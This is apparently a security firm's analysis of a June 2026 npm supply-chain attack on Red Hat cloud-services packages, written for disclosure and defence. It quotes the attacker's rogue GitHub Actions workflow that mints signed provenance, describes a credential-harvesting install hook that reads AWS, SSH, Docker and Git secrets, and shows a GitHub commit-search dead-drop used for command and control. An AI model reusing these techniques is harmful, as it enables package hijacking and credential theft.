Valid provenance, malicious package: anatomy of the Red Hat npm compromise
Attackers re-published 31 packages across the @redhat-cloud-services npm scope at least four times in one afternoon, every version carrying valid, signed SLSA provenance. How they mint genuine provenance for malware, what the payload does (captured first-hand), and why behavioral detection catches each re-arm in seconds.
Status: active and evolving. The counts, IOCs, and analysis here are as of 2026-06-01 14:25 UTC. The scope was still being re-armed at publication, and specifics (package count, C2 details) may change as the campaign continues and as other researchers report.
TL;DR
On 1 June 2026, attackers republished 31 packages across the official @redhat-cloud-services npm scope with an install-time malware payload, and
as of 14:25 UTC it was still going: our firehose logged them re-armed at least four times in an afternoon, each burst climbing the version numbers
as the registry purges the last. The detail worth your attention: the malicious
versions carry valid, signed npm provenance. They pass an npm audit signatures / SLSA attestation check. Provenance proves where a build came
from; it says nothing about what the build does.
We didn’t break this story: StepSecurity reported the scope and SafeDep documented the provenance-abuse technique two weeks earlier on the AntV wave. What our publish firehose adds is the real-time, provenance-blind catch, the first burst flagged within ~10 seconds and every later re-arm within seconds too, before any feed we track listed them.
What shipped
Our firehose logged 31 packages across the @redhat-cloud-services scope
republished in at least four bursts in one afternoon, each climbing the version
numbers as the registry purged the last (versions observed per burst, as of
2026-06-01 14:25 UTC):
| Burst (UTC) | Scope versions republished |
|---|---|
| 10:54–10:55 | 29 |
| 12:45–12:57 | 7 |
| 13:46–13:47 | 32 |
| 14:23–14:25 | 32 (latest observed; scope latest still malicious at our 14:25 UTC check) |
Every version in every burst carries the same shape: a "preinstall": "node index.js" hook (absent from the prior clean release) and a ~4.4 MB root index.js, a packed numeric array decoded and handed to eval(), run on
every npm install.
The scope publishes from more than one RedHatInsights repository via OIDC
trusted publishing: the client packages from RedHatInsights/javascript-clients,
the MCP servers from RedHatInsights/platform-frontend-ai-toolkit. So more than
one CI pipeline was compromised. To dissect the mechanism we’ll use three
packages from the first burst, the hcc-*-mcp servers: the ones the rogue
workflow’s attestation names (the OIDC_PACKAGES list below), which makes them
the cleanest specimen. Each went
from a clean, script-free release to a poisoned one in a ~1.2-second window:
| Package | Last good | First malicious |
|---|---|---|
@redhat-cloud-services/hcc-feo-mcp | 0.3.0 | 0.3.1 |
@redhat-cloud-services/hcc-kessel-mcp | 0.3.0 | 0.3.1 |
@redhat-cloud-services/hcc-pf-mcp | 0.6.0 | 0.6.1 |
The provenance is genuine, not forged
The published SLSA attestation for each malicious version verifies, and attests a build that genuinely ran in GitHub Actions inside the real Red Hat repository:
predicateType : https://slsa.dev/provenance/v1
repository : github.com/RedHatInsights/platform-frontend-ai-toolkit
workflow : .github/workflows/release.yml
ref : refs/heads/oidc-2530ec68
commit : 0e948856c93d5de31c192171796ced937faee4cb So how is the malware not in the repository? Because of three things that, read together, are the whole attack:
mainis clean. On the default branch, all three packages still sit at the last-good versions, with no install scripts. If you look at the repo, you see nothing wrong, which is exactly why this is easy to miss.The build ran from a throwaway branch that no longer exists. The provenance points at
refs/heads/oidc-2530ec68. That branch is gone (404). Its build commit survives only because Git keeps unreferenced objects around: an orphan commit with no parents, containing just two files: a crafted.github/workflows/release.ymland a loader,_index.js. The real package source isn’t even in that commit. The commit is still fetchable by its SHA (parents: [], those two files and nothing else), so all of this is verifiable.The rogue workflow reused the trusted workflow’s identity. Here it is, fetched verbatim from that commit (action SHAs abbreviated):
name: release on: push: branches: ['*'] # fire on ANY branch push jobs: release: runs-on: ubuntu-latest permissions: id-token: write # mint OIDC -> npm trusted publish contents: read steps: - uses: actions/checkout@de0fac2… - uses: oven-sh/setup-bun@0c5077e… - name: prepare run: bun run _index.js env: OIDC_PACKAGES: "@redhat-cloud-services/hcc-feo-mcp, @redhat-cloud-services/hcc-kessel-mcp, @redhat-cloud-services/hcc-pf-mcp" WORKFLOW_ID: "release.yml" REPO_ID_SUFFIX: "RedHatInsights/platform-frontend-ai-toolkit"npm trusted publishing authorizes a publish based on the repository plus the workflow file path. The attacker named their malicious workflow
release.yml, matching the trusted one, and set it to run on any branch push. Push the orphan branch, the workflow runs in the repo’s Actions context, requests an OIDC token, and npm mints a publish credential and a valid provenance attestation. Then delete the branch. Each re-arm burst repeats this from a fresh throwaway branch, which is why every malicious version we’ve seen, across every burst, carries verifying provenance.
The result: a package whose provenance truthfully says “built by GitHub Actions in Red Hat’s repo,” that is nonetheless malware. The attestation isn’t forged. It’s abused.
What’s confirmed, and what isn’t. The publish mechanism above is not a
guess: the attestation and the orphan commit (workflow + loader intact) are
both verifiable from public data. They prove a push-triggered workflow,
running in-repo with id-token: write, minted the credential and the
attestation. It was not a merge to main. What they do not reveal is the initial access: how the attacker got push rights to land that branch on the
upstream repo to begin with. The commit carries a maintainer’s name, but Git
authorship is trivially forgeable and the pushing identity isn’t recorded in the
commit, so we draw no conclusion about who. That’s for Red Hat’s incident
review, not a provenance file.
Why behavioral detection caught it anyway
We run an npm publish firehose: every newly published version is fetched and pushed through staged, sandboxed analysis: manifest detectors first, then a static bundle scan in a network-isolated, read-only container, with optional detonation. None of that asks “is the provenance valid?” It asks “what does this package do?”
Three detectors tripped on every malicious version, none of which looks at provenance:
preinstall-node-script: a newpreinstallhook on a package that never had install scripts.lifecycle-script-runs-main-js: that hook executing the package’s own entry point at install time.scan_ast_eval_decoder: the static bundle scan finding obfuscated dynamic execution, a decoder feedingeval.
A subset also tripped a critical size_change as the tarball ballooned against
its prior release. On an official-scope package that was clean one version ago,
that combination is hard to read as anything benign.
In the first burst we flagged 28 of the 31 versions StepSecurity catalogued for
it (our firehose directly observed 29 publishes in the 10:54–10:55 window; the
rest were pulled before our fetch resolved them) within ~10–40 seconds of
publish (manifest signals at ~10s, the static eval-decoder a few seconds
behind), at 10:54:36 UTC, about an hour before the public report
(StepSecurity’s GitHub issue at 11:56:59 UTC) and before any feed we track
listed it. Every later re-arm we caught the same way: the live 14:23 burst was
flagged within ~47 seconds. An LLM triage pass then confirmed and wrote up the
reasoning. We reverse-engineered the orphan-branch mechanism above from public
registry metadata, the provenance attestation, and the repo, with no special
access; you can reproduce every claim here from the same sources.
Three versions in the first burst ([email protected] among them) were pulled
within seconds of publish, before our fetch resolved which version had changed,
so we first picked those up through feed corroboration rather than first-hand; hcc-feo-mcp we then caught cleanly in a later burst. Either way, every signal
that mattered was in the artifact within seconds, with no reference to the
provenance.
The provenance-abuse technique itself, abusing OIDC trusted publishing to mint genuine SLSA attestations from a throwaway branch, was first documented by SafeDep on the AntV wave two weeks earlier (see Prior coverage below).
What it does, first-hand
Earlier writeups, ours included, described the payload from the published Mini
Shai-Hulud analyses rather than from a fresh trace. So we detonated a package
from this wave ([email protected]) in an isolated microVM with its
network sinkholed and TLS intercepted, and our agent attached inside the guest
in observe mode, so it would log the full chain instead of stopping it.
Three things stood out.
It is environment-gated. In a bare sandbox the payload barely moved: the
install ran, the bootstrap executed, and it stopped. It only unpacked its full
behavior when CI and GITHUB_ACTIONS were present in the environment. Same
bytes, two runs: without the CI variables, a quiet no-op; with them, the full
chain below. That is deliberate evasion and targeting. It wants a CI runner, not
a researcher’s laptop, which is also why commodity sandboxing often never sees
it act.
It went for credentials first. With the CI variables set, the agent’s LSM hooks recorded a Bun worker opening credential files within milliseconds: 24 opens against four targets, across three process generations (pids 725 / 745 / 764). Raw agent output, lightly trimmed (timestamps and container id removed):
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 0","pid":725,"path":"/home/leitnpm/.aws/credentials"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 0","pid":725,"path":"/home/leitnpm/.docker/config.json"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 1","pid":725,"path":"/home/leitnpm/.git-credentials"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 1","pid":725,"path":"/home/leitnpm/.ssh/id_rsa"}
... 24 cred-file opens in total, across pids 725 / 745 / 764 ... We let those reads through because the agent was in observe mode. In enforce
mode the same credwatch LSM returns -EPERM on that first .aws/credentials open() and kills the container, before the C2 stage below ever runs: the kill
wins the race because open() is synchronous at the kernel while the network
lookups are not. Observe mode is what let us watch the rest of the chain unfold.
The C2 is a GitHub dead-drop resolver, not a hardcoded host. It did not dial
an attacker-owned domain or a raw IP: every outbound destination resolved
through DNS first, with no cloud metadata-service probe. Instead it queried
GitHub’s own commit-search API for two marker strings, using them to locate a
drop-point commit. We answer api.github.com from a local sinkhole and intercept the TLS, so we capture the
request with nothing leaving the box:
{"src":"fakenet","kind":"http_capture","host":"api.github.com","tls":true,"method":"GET",
"path":"/search/commits?q=thebeautifulmarchoftime%20&sort=author-date&order=desc",
"headers":{"User-Agent":"python-requests/2.31.0","Accept":"application/vnd.github+json"}}
{"src":"fakenet","kind":"http_capture","host":"api.github.com","tls":true,"method":"GET",
"path":"/search/commits?q=IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner&sort=author-date&order=desc&per_page=50",
"headers":{"User-Agent":"python-requests/2.31.0","Accept":"application/vnd.github+json"}} That capture tells us what was sent. The agent tells us who sent it: its DNS proxy logged the same lookup with the process behind it, the same Bun worker (pid 725) that opened the credential files:
{"domain":"api.github.com","action":"dns_observed","pid":725,"comm":"Bun Pool 0","binary_path":"/tmp/b-dHaoll/bun"} Routing C2 through api.github.com is the point: it is a host nearly every CI
environment already allows, so the lookup hides in ordinary traffic. (Same
reason GitHub served as a useful fallback channel in earlier waves.) The python-requests/2.31.0 user agent is worth recording but not over-reading: a
user agent is attacker-controlled, so it is either a genuine second-stage HTTP
client or a deliberate disguise. We treat it as a huntable string, not as proof
of a Python runtime.
Indicators of compromise
| Indicator | Value |
|---|---|
| C2 channel | api.github.com/search/commits (GitHub commit-search dead-drop) |
| Marker query 1 | thebeautifulmarchoftime |
| Marker query 2 | IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner |
| C2 request user agent | python-requests/2.31.0 |
| Credential targets | ~/.aws/credentials, ~/.docker/config.json, ~/.git-credentials, ~/.ssh/id_rsa |
| Activation trigger | CI / GITHUB_ACTIONS set in the environment |
These IOCs are from the [email protected] sample we detonated; the
attacker can rotate the marker strings and the dead-drop path between bursts, so
the durable signature is the behavioral shape (env-gated credential harvest
plus a GitHub commit-search dead-drop), not any single string. These markers are
the resolver side of the dead-drop; public reporting documented the exfil side
(stolen data written to commits via the GitHub Contents API) but not the markers,
which the detonation recovered. While they last they are the most useful point
artifact: searchable in GitHub’s commit search and audit log, and GitHub can
purge the drop-point commits they resolve to. The full kill chain, now observed end to
end: provenance abuse at publish, a bootstrap loader at install, an
environment-gated second stage, credential harvest, then the GitHub
commit-search dead-drop resolver, every outbound hop through DNS and no raw-IP
fallback. Nothing left our box; the canary tokens were never exposed.
How far it spread
Shai-Hulud’s signature trait is self-propagation: steal a maintainer’s npm
token, republish all of their packages, repeat from each new victim. This
variant does not do that, and the reason is in the publisher field. Every
malicious version was published by [email protected], the OIDC
trusted-publishing identity, not a stolen personal token. That credential is
scoped to one repository’s trusted-publisher config, so it can only re-arm the @redhat-cloud-services scope; it cannot jump to another maintainer’s
packages. We swept our firehose for the payload’s three-signal fingerprint
across the rest of npm and found it nowhere else.
The downstream blast radius is contained, too. By dependent count (deps.dev)
these packages have tens of consumers, not thousands, and the named dependents
are almost all Red Hat’s own ecosystem (insights-inventory-frontend, @patternfly/extended-components, the Foreman Insights plugin) plus automated
registry mirrors. No high-traffic external package depends on them.
So the propagation risk is not the dependency graph or the publish mechanism. It
is the credential harvest above: every CI runner that installs a poisoned version
has its .aws, .ssh, .git, and .docker secrets read, and if one is a usable
npm or GitHub token, that is the path to the next victim.
Takeaways
- Provenance answers “where from,” not “is it safe.” SLSA attestations and trusted publishing are worth adopting: they make this specific abuse traceable after the fact, but they are not a malware check. Treating a valid attestation as a green light is the mistake.
- Pin trusted publishing tightly. If your registry/CI supports it,
constrain trusted publishing to a specific branch or tag ref and to release
events, not
pushon['*']. The gap here was that a workflow file name was trusted regardless of which branch it ran from. - Require a tag/release to match a publish. These malicious versions had no git tag and no GitHub release, while every legitimate release in the repo did. That mismatch is a cheap, strong tripwire.
- Watch behavior at publish time. The decisive signals (a new preinstall, a
giant obfuscated
eval) were visible in the artifact within seconds of publish, independent of any trust metadata. - Pin consumers to integrity, and expect re-arming. This scope was
re-poisoned at least four times in an afternoon;
latestwas malicious far more often than not. A lockfile pinned to a known-good integrity hash is what protects you while a campaign is live, long after the headline version is purged. - On CI runners, enforce, don’t just observe. A kernel agent that returns
-EPERMon credential-file reads stops the harvest at the firstopen(), before the payload reaches its C2. The same hook in observe mode is what let us trace this end to end, but the runner that matters wants it enforcing.
The defense this post demonstrates is Leitwacht’s CE agent: it runs on your CI runners and stops install-time malice at the kernel, default-deny egress plus credential-access kills, no matter how clean a package’s provenance looks. It’s free and MPL-2.0. The same behavioral engine powers the npm publish firehose that caught this campaign in real time. If you run npm in CI, get in touch.
Compromised versions and checksums
The 31 versions from the first burst, as StepSecurity catalogued them, with the
SHA-512 tarball integrity npm/package-lock.json verifies. Later bursts
re-published the same packages under higher version numbers (chrome had
reached 2.3.4 by the 14:23 burst and will keep climbing), so treat the whole
scope as suspect, not just these exact versions. 28 of the integrity values are from our own capture at publish
time; [email protected] (†) is a value recorded during disclosure, not from
our own fetch, and is no longer re-verifiable; two were purged before any
checksum was captured. Every version below is malicious: pin or roll back to
the prior good release, and only unpack inside an isolated sandbox.
| Package | Version | Unpacked size | Tarball integrity (SHA-512, base64) |
|---|---|---|---|
@redhat-cloud-services/chrome | 2.3.1 | 4,165,742 | sha512-1idcdNrmQGoMNQha1/yoDKigqkrlqJ5v6tIFDKrqXJLN/Z4xqPxVGTmdzHnrz8qWFdyLeJRSlUTKL1YdGcA4Bg== |
@redhat-cloud-services/compliance-client | 4.0.3 | 5,268,568 | sha512-AlIF6UCetTD45eW3xnstuKoNJeJIxJ70zkonX7KesDvj6s2JbE9BJHkr9L8/T3F84zbIEW6n1nAzkRqBtVHIUQ== |
@redhat-cloud-services/config-manager-client | 5.0.4 | 4,329,448 | sha512-+Ov+ucLceVF1zxiVp1LnwGqvAFJW42m3rGLfR2mOqwjHnXbbjHRYIRKJoeeGq5sTxik6uiT+R5qK5BtTUAreow== |
@redhat-cloud-services/entitlements-client | 4.0.11 | 4,231,899 | sha512-7/lQIUq4BMmZLdhjQDtjZUXAsoFlaTQ17Px6RuT8AIe2Vb9igYkRFDczdzyDemo80sW/zAbLUNaHXyE9Br1U5w== |
@redhat-cloud-services/eslint-config-redhat-cloud-services | 3.2.1 | 4,157,712 | sha512-DmmUAJeaTvahJ4Kw6lwd2OY+SKgA+VuypUr1fXce9cjl2iBuVac0uuNWChsET9q9UYlMome7aokD4os8FGuR4Q== |
@redhat-cloud-services/frontend-components | 7.7.2 | 5,140,528 | sha512-bAOwMULQetA8ZXaZWnjwyE72Eh7s2Ad9mmOJMm8DbfP7szuYzLfRXEiuDeRaWaNAsG/5k7bqSahyri2ZXY3oTg== |
@redhat-cloud-services/frontend-components-advisor-components | 3.8.2 | 4,183,722 | sha512-6fKWd9yXUvN6PYqm8SRawQtvvdz5YhPa3qJfAVzxy4VZNsZZX2RY15xSVacoAvIg5bqCMVXaDrXqHOKax7flhQ== |
@redhat-cloud-services/frontend-components-config | 6.11.3 | unavailable (purged before capture) | |
@redhat-cloud-services/frontend-components-config-utilities | 4.11.2 | 4,472,683 | sha512-phcx68xg5xoMlvTMIWnEJSlOFIopwMWGDFmExyfl4qGZHGUENqkRMhMW+RDU3/7Sjm3oVTeekZg92fmsuUf0aA== |
@redhat-cloud-services/frontend-components-notifications | 6.9.2 | 4,368,308 | sha512-nEyZqqNvCRwml/Z1MSuSTn/+VP0T1YB7qyOwr5kbLttbj4vUqxFzWuDMUMdpheGgXGhQ+R+fBXHG2ZunjvMyNw== |
@redhat-cloud-services/frontend-components-remediations | 4.9.2 | 4,318,392 | sha512-SO1YysjsTGTnd7srtofUNl6ydjEz1wgGflhqEGETMKqTmrS10qj8OFeT3j4E/41goSV9RBYqsPTA4fQbMDtFpA== |
@redhat-cloud-services/frontend-components-testing | 1.2.1 | 4,310,402 | sha512-/AZJarwB/MODpzZq6AkgnHcQbrMnygwoXeJBrRuj5eKRd+OM1TEh4w84wyVoAnUc/50JBsOgkWodSdJ1RFu9+g== |
@redhat-cloud-services/frontend-components-translations | 4.4.1 | 4,325,945 | sha512-hFH+19wv3vJUvob4clCqCDoM6yhejq8jehmBwfABCtBPbDqtW9KZjXIm2InCS4jpQaocfvbDhvdeCWRJZ05z3w== |
@redhat-cloud-services/frontend-components-utilities | 7.4.1 | 4,624,539 | sha512-xCyuLS9oG+3f3HTjDCH0BH/j+/5w2N2lZpdKl2oC+s96zH7InTUmdUE03TZYBsi/ICoKgXiwh82XEyp8yCGGMA== |
@redhat-cloud-services/hcc-feo-mcp | 0.3.1 | 4,437,053 | sha512-3+OgtS5UqQbSPmPHKQK0w2Vt3ycq1CKCpgO4uk0OUB5aNJEN1R48EbI5UXsJo4/8EXXFmUnYFet38KJbERox9g== † |
@redhat-cloud-services/hcc-kessel-mcp | 0.3.1 | 4,372,385 | sha512-8UIVUPzxvdzwNrxTj7JtWGD2tf2IdnznTwFYLFyM2EMdoriwhHgoDvNQ1LtjPY9HKOrTTec/+37oTTaEDPWvGA== |
@redhat-cloud-services/hcc-pf-mcp | 0.6.1 | 4,458,202 | sha512-kqYH7k7ac88eMCnzRO15Z/RDELI/y33vL9CEM+ry04q9UAFDjcmKbFg4L9PiKWHUPKkes2SfmFt9lyCyg+GSgw== |
@redhat-cloud-services/host-inventory-client | 5.0.3 | 5,267,183 | sha512-ldq0DZWf4b01hMVNAOVClgnvzkzqUN0Ws6m8OEGuua9DMnduT4Hs9US7fFz/Da+tAZoIgcowhlH5NHoRHO4MWw== |
@redhat-cloud-services/insights-client | 4.0.4 | 5,640,634 | sha512-IvCigD43EE61cYtxzz3GwCqx3ZhOqElHGuUSJhtrsAAWp8ZZbUWg+VRz9M99kqdWQz1rWXqXABp/SCWtoqz8kQ== |
@redhat-cloud-services/integrations-client | 6.0.4 | unavailable (purged before capture) | |
@redhat-cloud-services/javascript-clients-shared | 2.0.8 | 4,412,476 | sha512-9x08AsbAw7ZRfCa9azKaWnjuQSl6hSNnL9w4L0GCyOlrVWUmuHX2wHRv9OBPWrV12I5oUseoijhKLOtdEA+KEQ== |
@redhat-cloud-services/notifications-client | 6.1.4 | 4,757,073 | sha512-A3CEAeIatSfkE3mkcpFIcbUPFdAxmx13J3RRC18RjST2kczfstA77IJUMY8d9YGpjVpkogg2XXTl7bjbxAzC+g== |
@redhat-cloud-services/patch-client | 4.0.4 | 5,410,796 | sha512-GN2lroAEbkEaU4cFFAXoPnItqt3nJs21o9LHEVOFYchdq0KfXkEYQWMHFTOjTJ6Erri21ABZEsUMD20FjQVPEw== |
@redhat-cloud-services/quickstarts-client | 4.0.11 | 4,448,773 | sha512-dfIJpimjMyaITbuzH79EhT0tYqMCYosMNCeyyOfrjolw8/4AWX2QnixMLaHBnQBqQW8W2/eHpVczoDMTnckmyw== |
@redhat-cloud-services/rbac-client | 9.0.3 | 5,350,787 | sha512-uSoxpFxMBd1/B9MmDdp9CqM7UhHCju+EcqyyHPcAheSxqcKdxGtrH7aanR1pimABO6PDyyRB1TEIiKgoh/brgw== |
@redhat-cloud-services/remediations-client | 4.0.4 | 4,879,530 | sha512-Y1oJNgHL9c8hZwUmquGaZyTqNwayhqJdeFxKjRiYT41Tj+tGXsRClg7051gdApzdXWe486l0HuZ1cdm8POftzQ== |
@redhat-cloud-services/rule-components | 4.7.2 | 4,515,121 | sha512-63v6f4l/kFNZLGWOmmMr4i8v9yMblNlLppq0PZL69mtI2PCh/IYXJgohhZKIKLVbc2rqja9gkqMMxQxwu9diRA== |
@redhat-cloud-services/sources-client | 3.0.10 | 4,581,109 | sha512-GnrVRRq60j7iocMeAvQtC1kkvw2wpGUaEKUyA5DYAIVG82FfJ5xEfT1k+esfNm++L/NYYxw9+FLr+6IbWL9tqw== |
@redhat-cloud-services/topological-inventory-client | 3.0.10 | 7,336,016 | sha512-eM7FZ6X2dF+UTXZulVx9AQDfTbM/iJDM/v3UTnb1I5/k+AOtdta2G4fe8FJiWsO4u8J2lj2YHPitQLtAbMt80w== |
@redhat-cloud-services/tsc-transform-imports | 1.2.2 | 4,319,803 | sha512-uCvcc/OEFNDfEX2hqzjEGeISgjQHFpSCWzAU2OO0cpJuNRcXPdw9IlpIBbGurwvM1zt8O6NWVccjDC8qzkJ3eQ== |
@redhat-cloud-services/types | 3.6.1 | 4,146,089 | sha512-xGQnN2YPCYwd4OAddrsxBjTHJY3rDsoA9Rcb7izrrohzoEbh7F5mN5SPLk/qXn75BCLSaWa5KI8LImD+tDWb/Q== |
† Recorded during disclosure, not from our own capture; the version is unpublished, so it can no longer be re-fetched or independently re-verified.
Verifiable artifacts
- Malicious versions (sha512 integrity), build provenance ref
oidc-2530ec68/ commit0e948856…, and the roguerelease.ymlare all readable from the public npm registry and GitHub. Inspect tarballs only in an isolated, network-disabled sandbox: they are live malware.
Prior coverage
- StepSecurity: Multiple @redhat-cloud-services npm packages compromised (their full writeup), and the earlier GitHub issue (2026-06-01 11:56 UTC) with the 31-package list
- SafeDep’s Mini Shai-Hulud Strikes Again (the OIDC trusted-publishing / SLSA-provenance-abuse technique, AntV wave)